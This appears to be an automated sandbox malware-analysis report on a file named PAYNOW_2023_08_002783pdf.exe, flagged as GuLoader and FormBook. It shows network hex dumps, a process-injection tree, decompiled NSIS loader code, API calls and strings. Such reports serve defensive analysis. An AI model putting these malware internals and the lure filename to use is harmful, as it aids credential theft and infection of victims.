2023-08-29 20:43:03 UTC	213	IN	Data Raw: 2a 0b c8 4a 95 63 fe 51 f0 89 c9 3b 79 66 59 2e d2 51 b1 6e fd 63 88 8a c7 10 2a 3e cb 05 ed 64 e3 e9 ec 55 94 a5 4f 94 e6 35 e4 82 45 7d 80 dd 9e 01 a3 24 45 70 a6 32 4d 94 61 79 c5 bf 53 2e 25 63 ee 17 4d ca ff c1 1d a9 39 ba 08 b4 a1 f4 c5 ee 8a 01 ef 51 4b bb c3 5f d6 f2 98 f8 3a 24 52 e6 1c 4e cd cc 80 d7 72 fc f3 5d 62 b2 07 1b 98 ef 66 92 b1 ba 03 c9 16 ce b9 15 bf a5 70 6e 03 78 2f ae af 6c e6 cf b3 83 42 1a cf a7 88 7f 0c 1d 5a 89 81 b3 24 26 ba 59 ab ee bf 0e 8d f5 a1 60 55 a2 cd 23 a8 52 8d e4 16 50 08 20 b6 3a 78 79 1f 02 f4 92 d7 14 82 31 5e 74 cb 13 a3 46 56 15 dc 3a 4c 1a 37 f4 57 47 0e 53 48 12 b9 09 c0 c0 ef 2c 22 34 8c 4a 6f e0 a6 3e f3 0a 5b 69 1a 46 4e 82 90 a9 0f a3 87 bc 7d 7a 06 c5 24 52 97 24 60 19 3b af 78 53 c3 46 8f 1e 0a 31 70 Data Ascii: JcQ;yfY.Qnc>dUO5E}$Ep2MayS.%cM9QK_:$RNr]bfpnx/lBZ$&Y`U#RP :xy1^tFV:L7WGSH,"4Jo>[iFN}z$R$`;xSF1p
2023-08-29 20:43:03 UTC	214	IN	Data Raw: 3d a8 69 f8 f3 41 a9 90 9a 9c e5 b8 53 fb 8a b2 19 0b b8 13 a7 03 d9 b0 9d d7 44 ee 81 fc 56 8e a4 81 a3 8a f2 b8 cd 33 89 03 83 32 28 50 7a 4a 7c 47 01 77 11 74 2e 92 70 8c 5b 2b 87 92 f1 f7 d6 a3 cf 87 c6 7d 18 11 64 19 fa d2 2a 5a 61 26 1c c2 ba 32 c4 2a a3 72 56 56 6a 5e e3 9f e2 30 d1 a6 fb f3 f7 51 ab d1 52 de 03 dd de c0 bb 33 95 30 58 8a 9e b2 9f c1 1e 78 5b 59 21 3b 80 40 d0 d6 b3 5c 0f 10 79 7a 35 42 6e a8 21 a5 73 f3 81 77 41 dd a1 78 b3 a0 bf ca 37 37 cd 74 75 99 5f a6 32 4e 9b 5c ba 20 5d 22 da ed 53 cb 66 79 d0 90 d9 d5 27 eb b8 84 8d 0c a0 ae 96 dc be 30 0f 68 82 cd 9d bd 96 24 87 7f 81 af 6a ff 74 e5 7c 8e 71 68 4d b6 60 b6 10 d6 0c 96 2f 16 9e e5 98 b6 56 01 53 ca 97 7e b7 15 69 46 f6 f4 97 74 fd 70 d0 fb e4 c2 58 b6 67 d6 8f 32 f8 b2 28 Data Ascii: =iASDV32(PzJ\|Gwt.p[+}dZa&2rVVj^0QR30Xx[Y!;@\yz5Bn!swAx77tu_2N\ ]"Sfy'0h$jt\|qhM`/VS~iFtpXg2(
2023-08-29 20:43:03 UTC	216	IN	Data Raw: 4d 0b e7 f1 20 49 18 e6 fb 66 cf 05 ca b6 3b 5a f4 48 f5 89 48 45 b4 c1 39 37 82 7b 76 91 3f 7f e8 bb f8 f8 07 c9 a8 75 7f 92 01 f4 16 36 b8 94 23 71 40 00 c0 44 53 f2 e6 5e c0 1e e7 13 01 df 12 77 52 9d 70 ce e8 e8 42 6e df af 7a 5c 5a 50 f1 08 51 90 fa d5 a0 b1 45 31 4c aa 13 61 0b 19 48 4a ec f5 e4 1f e0 e6 7f 82 bd b6 8c 1b 37 ed 97 64 0f 65 01 cd 2b e2 5e 53 f3 cb 92 44 2c 6f 8f 53 52 7d b2 f5 fa 59 b2 44 ff b8 3f a1 aa 05 f0 0c 9b 5d a2 ea ba 62 e1 bb 98 d3 0e ee da 3e 59 c9 bf b0 07 1a 49 a1 63 20 40 69 90 20 34 0f 86 13 87 35 3a 45 9e 7d 92 15 98 d4 af 91 62 49 18 0e 18 f7 b8 8e 69 f8 64 e7 ed 30 a5 e4 38 33 97 dc 3d ae 3b 4b 76 8b d2 e4 bc 5b 06 63 c6 9b 8a 98 17 1b f6 80 71 d9 e3 35 7b 9d b4 2d 57 8f ba 6f c1 d1 ee 73 89 81 a0 e8 6e 9b 1c db 7a Data Ascii: M If;ZHHE97{v?u6#q@DS^wRpBnz\ZPQE1LaHJ7de+^SD,oSR}YD?]b>YIc @i 45:E}bIid083=;Kv[cq5{-Wosnz

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: PAYNOW_2023_08_002783pdf.exePID: 7016, Parent PID: 5324

General

Target ID:	4
Start time:	22:42:08
Start date:	29/08/2023
Path:	C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe
Imagebase:	0x400000
File size:	485'832 bytes
MD5 hash:	96BEDAAD0D23CC93D7133F9EDBD697FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000004.00000002.88593086114.00000000059AC000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: PAYNOW_2023_08_002783pdf.exePID: 7664, Parent PID: 7016

General

Target ID:	6
Start time:	22:42:56
Start date:	29/08/2023
Path:	C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe
Imagebase:	0x400000
File size:	485'832 bytes
MD5 hash:	96BEDAAD0D23CC93D7133F9EDBD697FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.88685895832.00000000000E0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.88685895832.00000000000E0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.88685552371.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.88685552371.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: lzttCsgdUUaPRcRtGYKMQEk.exePID: 5608, Parent PID: 7664

General

Target ID:	8
Start time:	22:43:05
Start date:	29/08/2023
Path:	C:\Program Files (x86)\stTISPAufBYYzAhSmDOuibRKITHPhLnmXtSKhHQTqunZOWljVritEbCaVKRaRdieNBfNGWXCJ\lzttCsgdUUaPRcRtGYKMQEk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\stTISPAufBYYzAhSmDOuibRKITHPhLnmXtSKhHQTqunZOWljVritEbCaVKRaRdieNBfNGWXCJ\lzttCsgdUUaPRcRtGYKMQEk.exe"
Imagebase:	0x7ff6921b0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.93121071460.0000000001040000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.93121071460.0000000001040000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: ipconfig.exePID: 6480, Parent PID: 5608

General

Target ID:	9
Start time:	22:43:06
Start date:	29/08/2023
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\ipconfig.exe
Imagebase:	0x20000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.93118623903.0000000002AA0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.93118623903.0000000002AA0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.93128647059.0000000003000000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.93128647059.0000000003000000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.93129712517.0000000003040000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.93129712517.0000000003040000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: lzttCsgdUUaPRcRtGYKMQEk.exePID: 1948, Parent PID: 6480

General

Target ID:	10
Start time:	22:43:18
Start date:	29/08/2023
Path:	C:\Program Files (x86)\stTISPAufBYYzAhSmDOuibRKITHPhLnmXtSKhHQTqunZOWljVritEbCaVKRaRdieNBfNGWXCJ\lzttCsgdUUaPRcRtGYKMQEk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\stTISPAufBYYzAhSmDOuibRKITHPhLnmXtSKhHQTqunZOWljVritEbCaVKRaRdieNBfNGWXCJ\lzttCsgdUUaPRcRtGYKMQEk.exe"
Imagebase:	0xa20000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.93119622850.00000000006F0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.93119622850.00000000006F0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 5324, Parent PID: 6480

General

Target ID:	11
Start time:	22:44:04
Start date:	29/08/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff673e00000
File size:	4'849'904 bytes
MD5 hash:	5EA66FF5AE5612F921BC9DA23BAC95F7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: firefox.exePID: 4812, Parent PID: 6480

General

Target ID:	13
Start time:	22:44:30
Start date:	29/08/2023
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Mozilla Firefox\Firefox.exe
Imagebase:	0x7ff608df0000
File size:	597'432 bytes
MD5 hash:	FA9F4FC5D7ECAB5A20BF7A9D1251C851
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: PAYNOW_2023_08_002783pdf.exePID: 7016, Parent PID: 5324COMMON

Execution Graph

Execution Coverage:	19.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	17%
Total number of Nodes:	1555
Total number of Limit Nodes:	43

Executed Functions

Function 00403312 Relevance: 93.1, APIs: 32, Strings: 21, Instructions: 366
stringcomfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			_entry_() {
				signed int _t42;
				intOrPtr* _t47;
				CHAR* _t51;
				char* _t53;
				CHAR* _t55;
				void* _t59;
				intOrPtr _t61;
				int _t63;
				int _t66;
				signed int _t67;
				int _t68;
				signed int _t70;
				void* _t94;
				signed int _t110;
				void* _t113;
				void* _t118;
				intOrPtr* _t119;
				char _t122;
				signed int _t141;
				signed int _t142;
				int _t150;
				void* _t151;
				intOrPtr* _t153;
				CHAR* _t156;
				CHAR* _t157;
				void* _t159;
				char* _t160;
				void* _t163;
				void* _t164;
				char _t189;

				 *(_t164 + 0x18) = 0;
				 *((intOrPtr*)(_t164 + 0x10)) = "Error writing temporary file. Make sure your temp folder is valid.";
				 *(_t164 + 0x20) = 0;
				 *(_t164 + 0x14) = 0x20;
				SetErrorMode(0x8001); // executed
				_t42 = GetVersion() & 0xbfffffff;
				 *0x42472c = _t42;
				if(_t42 != 6) {
					_t119 = E004064CA(0);
					if(_t119 != 0) {
						 *_t119(0xc00);
					}
				}
				_t156 = "UXTHEME";
				do {
					E0040645C(_t156); // executed
					_t156 =  &(_t156[lstrlenA(_t156) + 1]);
				} while ( *_t156 != 0);
				E004064CA(0xb);
				 *0x424724 = E004064CA("true");
				_t47 = E004064CA("true");
				if(_t47 != 0) {
					_t47 =  *_t47(0x1e);
					if(_t47 != 0) {
						 *0x42472f =  *0x42472f | 0x00000040;
					}
				}
				__imp__#17(_t159);
				__imp__OleInitialize(0); // executed
				 *0x4247f8 = _t47;
				SHGetFileInfoA(0x41fce8, 0, _t164 + 0x38, 0x160, 0); // executed
				E004060C1(0x423f20, "NSIS Error");
				_t51 = GetCommandLineA();
				_t160 = "\"C:\\Users\\Arthur\\Desktop\\PAYNOW_2023_08_002783pdf.exe\"";
				E004060C1(_t160, _t51);
				 *0x424720 = 0x400000;
				_t53 = _t160;
				if("\"C:\\Users\\Arthur\\Desktop\\PAYNOW_2023_08_002783pdf.exe\"" == 0x22) {
					 *(_t164 + 0x14) = 0x22;
					_t53 =  &M0042A001;
				}
				_t55 = CharNextA(E00405A84(_t53,  *(_t164 + 0x14)));
				 *(_t164 + 0x1c) = _t55;
				while(1) {
					_t122 =  *_t55;
					_t172 = _t122;
					if(_t122 == 0) {
						break;
					}
					__eflags = _t122 - 0x20;
					if(_t122 != 0x20) {
						L13:
						__eflags =  *_t55 - 0x22;
						 *(_t164 + 0x14) = 0x20;
						if( *_t55 == 0x22) {
							_t55 =  &(_t55[1]);
							__eflags = _t55;
							 *(_t164 + 0x14) = 0x22;
						}
						__eflags =  *_t55 - 0x2f;
						if( *_t55 != 0x2f) {
							L25:
							_t55 = E00405A84(_t55,  *(_t164 + 0x14));
							__eflags =  *_t55 - 0x22;
							if(__eflags == 0) {
								_t55 =  &(_t55[1]);
								__eflags = _t55;
							}
							continue;
						} else {
							_t55 =  &(_t55[1]);
							__eflags =  *_t55 - 0x53;
							if( *_t55 != 0x53) {
								L20:
								__eflags =  *_t55 - ((( *0x40a183 << 0x00000008 |  *0x40a182) << 0x00000008 |  *0x40a181) << 0x00000008 | "NCRC");
								if( *_t55 != ((( *0x40a183 << 0x00000008 |  *0x40a182) << 0x00000008 |  *0x40a181) << 0x00000008 | "NCRC")) {
									L24:
									__eflags =  *((intOrPtr*)(_t55 - 2)) - ((( *0x40a17b << 0x00000008 |  *0x40a17a) << 0x00000008 |  *0x40a179) << 0x00000008 | " /D=");
									if( *((intOrPtr*)(_t55 - 2)) == ((( *0x40a17b << 0x00000008 |  *0x40a17a) << 0x00000008 |  *0x40a179) << 0x00000008 | " /D=")) {
										 *((char*)(_t55 - 2)) = 0;
										__eflags =  &(_t55[2]);
										E004060C1("C:\\Users\\Arthur\\AppData\\Local\\Temp\\valgmuligheder\\devirnr",  &(_t55[2]));
										L30:
										_t157 = "C:\\Users\\Arthur\\AppData\\Local\\Temp\\";
										GetTempPathA(0x400, _t157);
										_t59 = E004032E1(_t172);
										_t173 = _t59;
										if(_t59 != 0) {
											L33:
											DeleteFileA("1033"); // executed
											_t61 = E00402EA1(_t175,  *(_t164 + 0x20)); // executed
											 *((intOrPtr*)(_t164 + 0x10)) = _t61;
											if(_t61 != 0) {
												L43:
												E004037FA();
												__imp__OleUninitialize();
												_t185 =  *((intOrPtr*)(_t164 + 0x10));
												if( *((intOrPtr*)(_t164 + 0x10)) == 0) {
													__eflags =  *0x4247d4;
													if( *0x4247d4 == 0) {
														L67:
														_t63 =  *0x4247ec;
														__eflags = _t63 - 0xffffffff;
														if(_t63 != 0xffffffff) {
															 *(_t164 + 0x14) = _t63;
														}
														ExitProcess( *(_t164 + 0x14));
													}
													_t66 = OpenProcessToken(GetCurrentProcess(), 0x28, _t164 + 0x18);
													_push("true");
													__eflags = _t66;
													_pop(_t150);
													if(_t66 != 0) {
														LookupPrivilegeValueA(0, "SeShutdownPrivilege", _t164 + 0x24);
														 *(_t164 + 0x38) = 1;
														 *(_t164 + 0x44) = _t150;
														AdjustTokenPrivileges( *(_t164 + 0x2c), 0, _t164 + 0x28, 0, 0, 0);
													}
													_t67 = E004064CA("true");
													__eflags = _t67;
													if(_t67 == 0) {
														L65:
														_t68 = ExitWindowsEx(_t150, 0x80040002);
														__eflags = _t68;
														if(_t68 != 0) {
															goto L67;
														}
														goto L66;
													} else {
														_t70 =  *_t67(0, 0, 0, 0x25, 0x80040002);
														__eflags = _t70;
														if(_t70 == 0) {
															L66:
															E0040140B("true");
															goto L67;
														}
														goto L65;
													}
												}
												E004057DD( *((intOrPtr*)(_t164 + 0x10)), 0x200010);
												ExitProcess("true");
											}
											if( *0x424740 == 0) {
												L42:
												 *0x4247ec =  *0x4247ec | 0xffffffff;
												 *(_t164 + 0x18) = E004038D4( *0x4247ec);
												goto L43;
											}
											_t153 = E00405A84(_t160, 0);
											if(_t153 < _t160) {
												L39:
												_t182 = _t153 - _t160;
												 *((intOrPtr*)(_t164 + 0x10)) = "Error launching installer";
												if(_t153 < _t160) {
													_t151 = E00405748(_t185);
													lstrcatA(_t157, "~nsu");
													if(_t151 != 0) {
														lstrcatA(_t157, "A");
													}
													lstrcatA(_t157, ".tmp");
													_t162 = "C:\\Users\\Arthur\\Desktop";
													if(lstrcmpiA(_t157, "C:\\Users\\Arthur\\Desktop") != 0) {
														_push(_t157);
														if(_t151 == 0) {
															E0040572B();
														} else {
															E004056AE();
														}
														SetCurrentDirectoryA(_t157);
														_t189 = "C:\\Users\\Arthur\\AppData\\Local\\Temp\\valgmuligheder\\devirnr"; // 0x43
														if(_t189 == 0) {
															E004060C1("C:\\Users\\Arthur\\AppData\\Local\\Temp\\valgmuligheder\\devirnr", _t162);
														}
														E004060C1("kernel32::EnumResourceTypesW(i0,ir1,i0)",  *(_t164 + 0x1c));
														_t137 = "A";
														_t163 = 0x1a;
														do {
															E00406154(0, 0x41f8e8, _t157, 0x41f8e8,  *((intOrPtr*)( *0x424734 + 0x120)));
															DeleteFileA(0x41f8e8);
															if( *((intOrPtr*)(_t164 + 0x10)) != 0 && CopyFileA("C:\\Users\\Arthur\\Desktop\\PAYNOW_2023_08_002783pdf.exe", 0x41f8e8, ?str?) != 0) {
																E00405EA0(_t137, 0x41f8e8, 0);
																E00406154(0, 0x41f8e8, _t157, 0x41f8e8,  *((intOrPtr*)( *0x424734 + 0x124)));
																_t94 = E00405760(0x41f8e8);
																if(_t94 != 0) {
																	CloseHandle(_t94);
																	 *((intOrPtr*)(_t164 + 0x10)) = 0;
																}
															}
															"82640896" =  &("82640896"[1]);
															_t163 = _t163 - 1;
														} while (_t163 != 0);
														E00405EA0(_t137, _t157, 0);
													}
													goto L43;
												}
												 *_t153 = 0;
												_t154 = _t153 + 4;
												if(E00405B47(_t182, _t153 + 4) == 0) {
													goto L43;
												}
												E004060C1("C:\\Users\\Arthur\\AppData\\Local\\Temp\\valgmuligheder\\devirnr", _t154);
												E004060C1("C:\\Users\\Arthur\\AppData\\Local\\Temp\\valgmuligheder\\devirnr\\Lselystens143", _t154);
												 *((intOrPtr*)(_t164 + 0x10)) = 0;
												goto L42;
											}
											_t110 = (( *0x40a15b << 0x00000008 |  *0x40a15a) << 0x00000008 |  *0x40a159) << 0x00000008 | " _?=";
											while( *_t153 != _t110) {
												_t153 = _t153 - 1;
												if(_t153 >= _t160) {
													continue;
												}
												goto L39;
											}
											goto L39;
										}
										GetWindowsDirectoryA(_t157, 0x3fb);
										lstrcatA(_t157, "\\Temp");
										_t113 = E004032E1(_t173);
										_t174 = _t113;
										if(_t113 != 0) {
											goto L33;
										}
										GetTempPathA(0x3fc, _t157);
										lstrcatA(_t157, "Low");
										SetEnvironmentVariableA("TEMP", _t157);
										SetEnvironmentVariableA("TMP", _t157);
										_t118 = E004032E1(_t174);
										_t175 = _t118;
										if(_t118 == 0) {
											goto L43;
										}
										goto L33;
									}
									goto L25;
								}
								_t141 = _t55[4];
								__eflags = _t141 - 0x20;
								if(_t141 == 0x20) {
									L23:
									_t15 = _t164 + 0x20;
									 *_t15 =  *(_t164 + 0x20) | 0x00000004;
									__eflags =  *_t15;
									goto L24;
								}
								__eflags = _t141;
								if(_t141 != 0) {
									goto L24;
								}
								goto L23;
							}
							_t142 = _t55[1];
							__eflags = _t142 - 0x20;
							if(_t142 == 0x20) {
								L19:
								 *0x4247e0 = 1;
								goto L20;
							}
							__eflags = _t142;
							if(_t142 != 0) {
								goto L20;
							}
							goto L19;
						}
					} else {
						goto L12;
					}
					do {
						L12:
						_t55 =  &(_t55[1]);
						__eflags =  *_t55 - 0x20;
					} while ( *_t55 == 0x20);
					goto L13;
				}
				goto L30;
			}

0x00403322
0x00403326
0x0040332e
0x00403332
0x00403337
0x00403343
0x0040334c
0x00403351
0x00403354
0x0040335b
0x00403362
0x00403362
0x0040335b
0x00403364
0x00403369
0x0040336a
0x00403376
0x0040337a
0x00403380
0x0040338e
0x00403393
0x0040339a
0x0040339e
0x004033a2
0x004033a4
0x004033a4
0x004033a2
0x004033ac
0x004033b3
0x004033b9
0x004033cf
0x004033df
0x004033e4
0x004033ea
0x004033f1
0x004033fd
0x00403407
0x00403409
0x0040340b
0x00403410
0x00403410
0x00403420
0x00403426
0x004034ef
0x004034ef
0x004034f1
0x004034f3
0x00000000
0x00000000
0x0040342f
0x00403432
0x0040343a
0x0040343a
0x0040343d
0x00403442
0x00403444
0x00403444
0x00403445
0x00403445
0x0040344a
0x0040344d
0x004034df
0x004034e4
0x004034e9
0x004034ec
0x004034ee
0x004034ee
0x004034ee
0x00000000
0x00403453
0x00403453
0x00403454
0x00403457
0x0040346f
0x0040349a
0x0040349c
0x004034af
0x004034da
0x004034dd
0x004034fb
0x004034fe
0x00403507
0x0040350c
0x00403512
0x0040351d
0x0040351f
0x00403524
0x00403526
0x0040357e
0x00403583
0x0040358d
0x00403594
0x00403598
0x0040362c
0x0040362c
0x00403631
0x00403637
0x0040363c
0x00403760
0x00403766
0x004037e2
0x004037e2
0x004037e7
0x004037ea
0x004037ec
0x004037ec
0x004037f4
0x004037f4
0x00403776
0x0040377c
0x0040377e
0x00403780
0x00403781
0x0040378e
0x004037a1
0x004037a9
0x004037ad
0x004037ad
0x004037b5
0x004037ba
0x004037c1
0x004037cf
0x004037d1
0x004037d7
0x004037d9
0x00000000
0x00000000
0x00000000
0x004037c3
0x004037c9
0x004037cb
0x004037cd
0x004037db
0x004037dd
0x00000000
0x004037dd
0x00000000
0x004037cd
0x004037c1
0x0040364b
0x00403652
0x00403652
0x004035a4
0x0040361c
0x0040361c
0x00403628
0x00000000
0x00403628
0x004035ad
0x004035b1
0x004035e7
0x004035e7
0x004035e9
0x004035f1
0x00403663
0x00403665
0x0040366c
0x00403674
0x00403674
0x0040367f
0x00403684
0x00403693
0x00403697
0x00403698
0x004036a1
0x0040369a
0x0040369a
0x0040369a
0x004036a7
0x004036ad
0x004036b3
0x004036bb
0x004036bb
0x004036c9
0x004036ce
0x004036e0
0x004036ee
0x004036fa
0x00403700
0x0040370a
0x00403720
0x00403731
0x00403737
0x0040373e
0x00403741
0x00403747
0x00403747
0x0040373e
0x0040374b
0x00403751
0x00403751
0x00403756
0x00403756
0x00000000
0x00403693
0x004035f3
0x004035f5
0x00403600
0x00000000
0x00000000
0x00403608
0x00403613
0x00403618
0x00000000
0x00403618
0x004035dc
0x004035de
0x004035e2
0x004035e5
0x00000000
0x00000000
0x00000000
0x004035e5
0x00000000
0x004035de
0x0040352e
0x0040353a
0x0040353f
0x00403544
0x00403546
0x00000000
0x00000000
0x0040354e
0x00403556
0x00403567
0x0040356f
0x00403571
0x00403576
0x00403578
0x00000000
0x00000000
0x00000000
0x00403578
0x00000000
0x004034dd
0x0040349e
0x004034a1
0x004034a4
0x004034aa
0x004034aa
0x004034aa
0x004034aa
0x00000000
0x004034aa
0x004034a6
0x004034a8
0x00000000
0x00000000
0x00000000
0x004034a8
0x00403459
0x0040345c
0x0040345f
0x00403465
0x00403465
0x00000000
0x00403465
0x00403461
0x00403463
0x00000000
0x00000000
0x00000000
0x00403463
0x00000000
0x00000000
0x00000000
0x00403434
0x00403434
0x00403434
0x00403435
0x00403435
0x00000000
0x00403434
0x00000000

APIs

SetErrorMode.KERNELBASE ref: 00403337
GetVersion.KERNEL32 ref: 0040333D
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403370
#17.COMCTL32(?,?,?,0000000B), ref: 004033AC
OleInitialize.OLE32(00000000), ref: 004033B3
SHGetFileInfoA.SHELL32(0041FCE8,00000000,?,00000160,00000000,?,?,?,0000000B), ref: 004033CF
GetCommandLineA.KERNEL32(00423F20,NSIS Error,?,?,?,0000000B), ref: 004033E4
CharNextA.USER32(00000000,"C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe",00000020,"C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe",00000000,?,?,?,0000000B), ref: 00403420
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020,?,?,?,0000000B), ref: 0040351D
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,?,?,0000000B), ref: 0040352E
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,?,?,0000000B), ref: 0040353A
GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,?,?,0000000B), ref: 0040354E
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,?,?,0000000B), ref: 00403556
SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,?,?,0000000B), ref: 00403567
SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,?,?,0000000B), ref: 0040356F
DeleteFileA.KERNELBASE(1033,?,?,?,0000000B), ref: 00403583

Part of subcall function 004064CA: GetModuleHandleA.KERNEL32(?,?,?,00403385,0000000B), ref: 004064DC
Part of subcall function 004064CA: GetProcAddress.KERNEL32(00000000,?), ref: 004064F7

Part of subcall function 004038D4: lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr,1033,respektlst Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,respektlst Setup: Installing,00000000,?,764B3410), ref: 004039C4
Part of subcall function 004038D4: lstrcmpiA.KERNEL32(?,.exe), ref: 004039D7
Part of subcall function 004038D4: GetFileAttributesA.KERNEL32(Call), ref: 004039E2
Part of subcall function 004038D4: LoadImageA.USER32(00000067,?,00000000,00000000,00008040,C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr), ref: 00403A2B
Part of subcall function 004038D4: RegisterClassA.USER32(00423EC0), ref: 00403A68

Part of subcall function 004037FA: CloseHandle.KERNEL32(000002C4,00403631,?,?,?,?,0000000B), ref: 00403805

OleUninitialize.OLE32(?,?,?,?,0000000B), ref: 00403631
ExitProcess.KERNEL32 ref: 00403652
GetCurrentProcess.KERNEL32(00000028,?,?,?,0000000B), ref: 0040376F
OpenProcessToken.ADVAPI32(00000000), ref: 00403776
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 0040378E
AdjustTokenPrivileges.ADVAPI32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 004037AD
ExitWindowsEx.USER32(?,80040002), ref: 004037D1
ExitProcess.KERNEL32 ref: 004037F4

Part of subcall function 004057DD: MessageBoxIndirectA.USER32(0040A218), ref: 00405838

Strings

", xrefs: 00403445
\Temp, xrefs: 00403534
82640896, xrefs: 004036E8, 0040374B
TMP, xrefs: 0040356A
Low, xrefs: 00403550
C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe, xrefs: 0040370F
SeShutdownPrivilege, xrefs: 00403788
kernel32::EnumResourceTypesW(i0,ir1,i0), xrefs: 004036C4
Error launching installer, xrefs: 004035E9
C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr\Lselystens143, xrefs: 0040360E
1033, xrefs: 0040357E
C:\Users\user\Desktop, xrefs: 00403684, 00403689, 004036B5
TEMP, xrefs: 00403562
`KLv, xrefs: 0040355B
.tmp, xrefs: 00403679
NSIS Error, xrefs: 004033D5
C:\Users\user\AppData\Local\Temp\, xrefs: 00403512, 00403517, 0040352D, 00403539, 00403548, 00403555, 00403561, 00403569, 00403662, 00403673, 0040367E, 0040368A, 00403697, 004036A6, 00403755
